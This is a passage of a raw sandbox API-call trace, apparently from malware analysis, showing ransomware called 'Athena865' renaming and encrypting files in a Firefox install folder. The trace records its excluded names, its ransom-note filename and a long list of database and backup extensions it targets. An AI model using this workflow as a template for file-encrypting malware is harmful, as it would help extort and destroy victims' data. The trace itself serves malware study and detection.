firefox\\libegl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0043.669] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=64112) returned 1 [0043.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0043.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0043.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0043.669] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0043.670] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0043.670] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.670] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfd70, lpName=0x0) returned 0x17c [0043.673] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfd70) returned 0x100000 [0043.677] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0043.678] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0043.678] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0043.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0043.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0043.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0043.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0043.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0043.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0043.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0043.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0043.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0043.678] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0043.679] CloseHandle (hObject=0x17c) returned 1 [0043.679] CloseHandle (hObject=0x154) returned 1 [0043.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0043.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0043.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0043.681] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2c8a3600, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x86270, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="libGLESv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0043.681] lstrcmpiW (lpString1="libGLESv2.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0043.681] lstrcmpiW (lpString1="libGLESv2.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0043.681] lstrcmpiW (lpString1="libGLESv2.dll", lpString2=".") returned 1 [0043.681] lstrcmpiW (lpString1="libGLESv2.dll", lpString2="..") returned 1 [0043.681] lstrcmpiW (lpString1="libGLESv2.dll", lpString2="windows") returned -1 [0043.681] lstrcmpiW (lpString1="libGLESv2.dll", lpString2="bootmgr") returned 1 [0043.681] lstrcmpiW (lpString1="libGLESv2.dll", lpString2="temp") returned -1 [0043.681] lstrcmpiW (lpString1="libGLESv2.dll", lpString2="pagefile.sys") returned -1 [0043.681] lstrcmpiW (lpString1="libGLESv2.dll", lpString2="boot") returned 1 [0043.682] lstrcmpiW (lpString1="libGLESv2.dll", lpString2="ids.txt") returned 1 [0043.682] lstrcmpiW (lpString1="libGLESv2.dll", lpString2="ntuser.dat") returned -1 [0043.682] lstrcmpiW (lpString1="libGLESv2.dll", lpString2="perflogs") returned -1 [0043.682] lstrcmpiW (lpString1="libGLESv2.dll", lpString2="MSBuild") returned -1 [0043.682] lstrlenW (lpString="libGLESv2.dll") returned 13 [0043.682] lstrcpyW (in: lpString1=0x241e896, lpString2="libGLESv2.dll" | out: lpString1="libGLESv2.dll") returned="libGLESv2.dll" [0043.682] lstrlenW (lpString="libGLESv2.dll") returned 13 [0043.682] lstrlenW (lpString="Athena865") returned 9 [0043.682] lstrcmpiW (lpString1="LESv2.dll", lpString2="Athena865") returned 1 [0043.682] lstrlenW (lpString=".dll") returned 4 [0043.682] lstrcmpiW (lpString1="libGLESv2.dll", lpString2=".dll") returned 1 [0043.682] lstrlenW (lpString=".lnk") returned 4 [0043.682] lstrcmpiW (lpString1="libGLESv2.dll", lpString2=".lnk") returned 1 [0043.682] lstrlenW (lpString=".ini") returned 4 [0043.682] lstrcmpiW (lpString1="libGLESv2.dll", lpString2=".ini") returned 1 [0043.682] lstrlenW (lpString=".sys") returned 4 [0043.682] lstrcmpiW (lpString1="libGLESv2.dll", lpString2=".sys") returned 1 [0043.682] lstrlenW (lpString="libGLESv2.dll") returned 13 [0043.682] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll.Athena865") returned 62 [0043.682] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\libglesv2.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\libglesv2.dll.athena865"), dwFlags=0x1) returned 1 [0043.686] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\libglesv2.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0043.686] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=549488) returned 1 [0043.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0043.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0043.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0043.687] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0043.687] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0043.687] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.688] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x86570, lpName=0x0) returned 0x17c [0043.689] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x86570) returned 0x2d50000 [0043.725] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0043.726] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0043.726] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0043.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0043.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0043.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0043.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0043.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0043.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0043.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0043.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0043.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0043.727] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0043.732] CloseHandle (hObject=0x17c) returned 1 [0043.732] CloseHandle (hObject=0x154) returned 1 [0043.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0043.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0043.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0043.741] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1d270, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="MAINTE~1.EXE")) returned 1 [0043.741] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0043.741] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0043.741] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".") returned 1 [0043.741] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="..") returned 1 [0043.741] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="windows") returned -1 [0043.741] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="bootmgr") returned 1 [0043.741] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="temp") returned -1 [0043.741] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="pagefile.sys") returned -1 [0043.741] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="boot") returned 1 [0043.741] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="ids.txt") returned 1 [0043.741] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="ntuser.dat") returned -1 [0043.741] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="perflogs") returned -1 [0043.741] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="MSBuild") returned -1 [0043.741] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0043.741] lstrcpyW (in: lpString1=0x241e896, lpString2="maintenanceservice.exe" | out: lpString1="maintenanceservice.exe") returned="maintenanceservice.exe" [0043.741] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0043.741] lstrlenW (lpString="Athena865") returned 9 [0043.741] lstrcmpiW (lpString1="rvice.exe", lpString2="Athena865") returned 1 [0043.742] lstrlenW (lpString=".dll") returned 4 [0043.742] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".dll") returned 1 [0043.742] lstrlenW (lpString=".lnk") returned 4 [0043.742] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".lnk") returned 1 [0043.742] lstrlenW (lpString=".ini") returned 4 [0043.742] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".ini") returned 1 [0043.742] lstrlenW (lpString=".sys") returned 4 [0043.742] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".sys") returned 1 [0043.742] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0043.742] lstrlenW (lpString="bak") returned 3 [0043.742] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0043.742] lstrlenW (lpString="ba_") returned 3 [0043.742] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0043.742] lstrlenW (lpString="dbb") returned 3 [0043.742] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0043.742] lstrlenW (lpString="vmdk") returned 4 [0043.742] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0043.742] lstrlenW (lpString="rar") returned 3 [0043.742] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0043.742] lstrlenW (lpString="zip") returned 3 [0043.742] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0043.742] lstrlenW (lpString="tgz") returned 3 [0043.742] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0043.742] lstrlenW (lpString="vbox") returned 4 [0043.742] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0043.742] lstrlenW (lpString="vdi") returned 3 [0043.742] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0043.742] lstrlenW (lpString="vhd") returned 3 [0043.742] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0043.742] lstrlenW (lpString="vhdx") returned 4 [0043.742] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0043.742] lstrlenW (lpString="avhd") returned 4 [0043.742] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0043.742] lstrlenW (lpString="db") returned 2 [0043.742] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0043.742] lstrlenW (lpString="db2") returned 3 [0043.743] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0043.743] lstrlenW (lpString="db3") returned 3 [0043.743] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0043.743] lstrlenW (lpString="dbf") returned 3 [0043.743] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0043.743] lstrlenW (lpString="mdf") returned 3 [0043.743] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0043.743] lstrlenW (lpString="mdb") returned 3 [0043.743] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0043.743] lstrlenW (lpString="sql") returned 3 [0043.743] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0043.743] lstrlenW (lpString="sqlite") returned 6 [0043.743] lstrcmpiW (lpString1="ce.exe", lpString2="sqlite") returned -1 [0043.743] lstrlenW (lpString="sqlite3") returned 7 [0043.743] lstrcmpiW (lpString1="ice.exe", lpString2="sqlite3") returned -1 [0043.743] lstrlenW (lpString="sqlitedb") returned 8 [0043.743] lstrcmpiW (lpString1="vice.exe", lpString2="sqlitedb") returned 1 [0043.743] lstrlenW (lpString="xml") returned 3 [0043.743] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0043.743] lstrlenW (lpString="$er") returned 3 [0043.743] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0043.743] lstrlenW (lpString="4dd") returned 3 [0043.743] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0043.743] lstrlenW (lpString="4dl") returned 3 [0043.743] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0043.743] lstrlenW (lpString="^^^") returned 3 [0043.743] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0043.743] lstrlenW (lpString="abs") returned 3 [0043.743] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0043.743] lstrlenW (lpString="abx") returned 3 [0043.743] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0043.743] lstrlenW (lpString="accdb") returned 5 [0043.743] lstrcmpiW (lpString1="e.exe", lpString2="accdb") returned 1 [0043.743] lstrlenW (lpString="accdc") returned 5 [0043.743] lstrcmpiW (lpString1="e.exe", lpString2="accdc") returned 1 [0043.743] lstrlenW (lpString="accde") returned 5 [0043.744] lstrcmpiW (lpString1="e.exe", lpString2="accde") returned 1 [0043.744] lstrlenW (lpString="accdr") returned 5 [0043.744] lstrcmpiW (lpString1="e.exe", lpString2="accdr") returned 1 [0043.744] lstrlenW (lpString="accdt") returned 5 [0043.744] lstrcmpiW (lpString1="e.exe", lpString2="accdt") returned 1 [0043.744] lstrlenW (lpString="accdw") returned 5 [0043.744] lstrcmpiW (lpString1="e.exe", lpString2="accdw") returned 1 [0043.744] lstrlenW (lpString="accft") returned 5 [0043.744] lstrcmpiW (lpString1="e.exe", lpString2="accft") returned 1 [0043.744] lstrlenW (lpString="adb") returned 3 [0043.744] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0043.744] lstrlenW (lpString="adb") returned 3 [0043.744] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0043.744] lstrlenW (lpString="ade") returned 3 [0043.744] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0043.744] lstrlenW (lpString="adf") returned 3 [0043.744] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0043.744] lstrlenW (lpString="adn") returned 3 [0043.744] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0043.744] lstrlenW (lpString="adp") returned 3 [0043.744] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0043.744] lstrlenW (lpString="alf") returned 3 [0043.744] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0043.744] lstrlenW (lpString="ask") returned 3 [0043.744] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0043.744] lstrlenW (lpString="btr") returned 3 [0043.744] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0043.745] lstrlenW (lpString="cat") returned 3 [0043.745] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0043.745] lstrlenW (lpString="cdb") returned 3 [0043.745] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0043.745] lstrlenW (lpString="ckp") returned 3 [0043.745] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0043.745] lstrlenW (lpString="cma") returned 3 [0043.745] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0043.745] lstrlenW (lpString="cpd") returned 3 [0043.745] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0043.745] lstrlenW (lpString="dacpac") returned 6 [0043.745] lstrcmpiW (lpString1="ce.exe", lpString2="dacpac") returned -1 [0043.746] lstrlenW (lpString="dad") returned 3 [0043.746] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0043.746] lstrlenW (lpString="dadiagrams") returned 10 [0043.746] lstrcmpiW (lpString1="ervice.exe", lpString2="dadiagrams") returned 1 [0043.746] lstrlenW (lpString="daschema") returned 8 [0043.746] lstrcmpiW (lpString1="vice.exe", lpString2="daschema") returned 1 [0043.746] lstrlenW (lpString="db-journal") returned 10 [0043.746] lstrcmpiW (lpString1="ervice.exe", lpString2="db-journal") returned 1 [0043.746] lstrlenW (lpString="db-shm") returned 6 [0043.746] lstrcmpiW (lpString1="ce.exe", lpString2="db-shm") returned -1 [0043.746] lstrlenW (lpString="db-wal") returned 6 [0043.746] lstrcmpiW (lpString1="ce.exe", lpString2="db-wal") returned -1 [0043.746] lstrlenW (lpString="dbc") returned 3 [0043.746] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0043.746] lstrlenW (lpString="dbs") returned 3 [0043.746] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0043.746] lstrlenW (lpString="dbt") returned 3 [0043.746] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0043.746] lstrlenW (lpString="dbv") returned 3 [0043.746] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0043.746] lstrlenW (lpString="dbx") returned 3 [0043.746] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0043.746] lstrlenW (lpString="dcb") returned 3 [0043.746] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0043.746] lstrlenW (lpString="dct") returned 3 [0043.746] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0043.746] lstrlenW (lpString="dcx") returned 3 [0043.746] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0043.746] lstrlenW (lpString="ddl") returned 3 [0043.746] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0043.746] lstrlenW (lpString="dlis") returned 4 [0043.746] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0043.746] lstrlenW (lpString="dp1") returned 3 [0043.746] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0043.746] lstrlenW (lpString="dqy") returned 3 [0043.747] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0043.747] lstrlenW (lpString="dsk") returned 3 [0043.747] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0043.747] lstrlenW (lpString="dsn") returned 3 [0043.747] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0043.747] lstrlenW (lpString="dtsx") returned 4 [0043.747] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0043.747] lstrlenW (lpString="dxl") returned 3 [0043.747] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0043.747] lstrlenW (lpString="eco") returned 3 [0043.747] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0043.747] lstrlenW (lpString="ecx") returned 3 [0043.747] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0043.747] lstrlenW (lpString="edb") returned 3 [0043.747] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0043.747] lstrlenW (lpString="epim") returned 4 [0043.747] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0043.747] lstrlenW (lpString="fcd") returned 3 [0043.747] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0043.747] lstrlenW (lpString="fdb") returned 3 [0043.747] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0043.747] lstrlenW (lpString="fic") returned 3 [0043.747] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0043.747] lstrlenW (lpString="flexolibrary") returned 12 [0043.747] lstrcmpiW (lpString1="eservice.exe", lpString2="flexolibrary") returned -1 [0043.747] lstrlenW (lpString="fm5") returned 3 [0043.747] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0043.747] lstrlenW (lpString="fmp") returned 3 [0043.747] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0043.747] lstrlenW (lpString="fmp12") returned 5 [0043.747] lstrcmpiW (lpString1="e.exe", lpString2="fmp12") returned -1 [0043.747] lstrlenW (lpString="fmpsl") returned 5 [0043.747] lstrcmpiW (lpString1="e.exe", lpString2="fmpsl") returned -1 [0043.747] lstrlenW (lpString="fol") returned 3 [0043.747] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0043.747] lstrlenW (lpString="fp3") returned 3 [0043.748] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0043.748] lstrlenW (lpString="fp4") returned 3 [0043.748] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0043.748] lstrlenW (lpString="fp5") returned 3 [0043.748] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0043.748] lstrlenW (lpString="fp7") returned 3 [0043.748] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0043.748] lstrlenW (lpString="fpt") returned 3 [0043.748] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0043.748] lstrlenW (lpString="frm") returned 3 [0043.748] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0043.748] lstrlenW (lpString="gdb") returned 3 [0043.748] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0043.748] lstrlenW (lpString="gdb") returned 3 [0043.748] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0043.748] lstrlenW (lpString="grdb") returned 4 [0043.748] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0043.748] lstrlenW (lpString="gwi") returned 3 [0043.748] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0043.748] lstrlenW (lpString="hdb") returned 3 [0043.748] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0043.748] lstrlenW (lpString="his") returned 3 [0043.748] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0043.748] lstrlenW (lpString="ib") returned 2 [0043.748] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0043.748] lstrlenW (lpString="idb") returned 3 [0043.748] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0043.748] lstrlenW (lpString="ihx") returned 3 [0043.748] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0043.748] lstrlenW (lpString="itdb") returned 4 [0043.748] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0043.748] lstrlenW (lpString="itw") returned 3 [0043.748] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0043.748] lstrlenW (lpString="jet") returned 3 [0043.748] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0043.748] lstrlenW (lpString="jtx") returned 3 [0043.749] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0043.749] lstrlenW (lpString="kdb") returned 3 [0043.749] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0043.749] lstrlenW (lpString="kexi") returned 4 [0043.749] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0043.749] lstrlenW (lpString="kexic") returned 5 [0043.749] lstrcmpiW (lpString1="e.exe", lpString2="kexic") returned -1 [0043.749] lstrlenW (lpString="kexis") returned 5 [0043.749] lstrcmpiW (lpString1="e.exe", lpString2="kexis") returned -1 [0043.749] lstrlenW (lpString="lgc") returned 3 [0043.749] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0043.749] lstrlenW (lpString="lwx") returned 3 [0043.749] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0043.749] lstrlenW (lpString="maf") returned 3 [0043.749] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0043.749] lstrlenW (lpString="maq") returned 3 [0043.749] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0043.749] lstrlenW (lpString="mar") returned 3 [0043.749] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0043.749] lstrlenW (lpString="marshal") returned 7 [0043.749] lstrcmpiW (lpString1="ice.exe", lpString2="marshal") returned -1 [0043.749] lstrlenW (lpString="mas") returned 3 [0043.749] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0043.749] lstrlenW (lpString="mav") returned 3 [0043.749] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0043.749] lstrlenW (lpString="maw") returned 3 [0043.749] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0043.749] lstrlenW (lpString="mdbhtml") returned 7 [0043.749] lstrcmpiW (lpString1="ice.exe", lpString2="mdbhtml") returned -1 [0043.749] lstrlenW (lpString="mdn") returned 3 [0043.749] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0043.749] lstrlenW (lpString="mdt") returned 3 [0043.749] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0043.749] lstrlenW (lpString="mfd") returned 3 [0043.749] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0043.749] lstrlenW (lpString="mpd") returned 3 [0043.749] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0043.750] lstrlenW (lpString="mrg") returned 3 [0043.750] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0043.750] lstrlenW (lpString="mud") returned 3 [0043.750] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0043.750] lstrlenW (lpString="mwb") returned 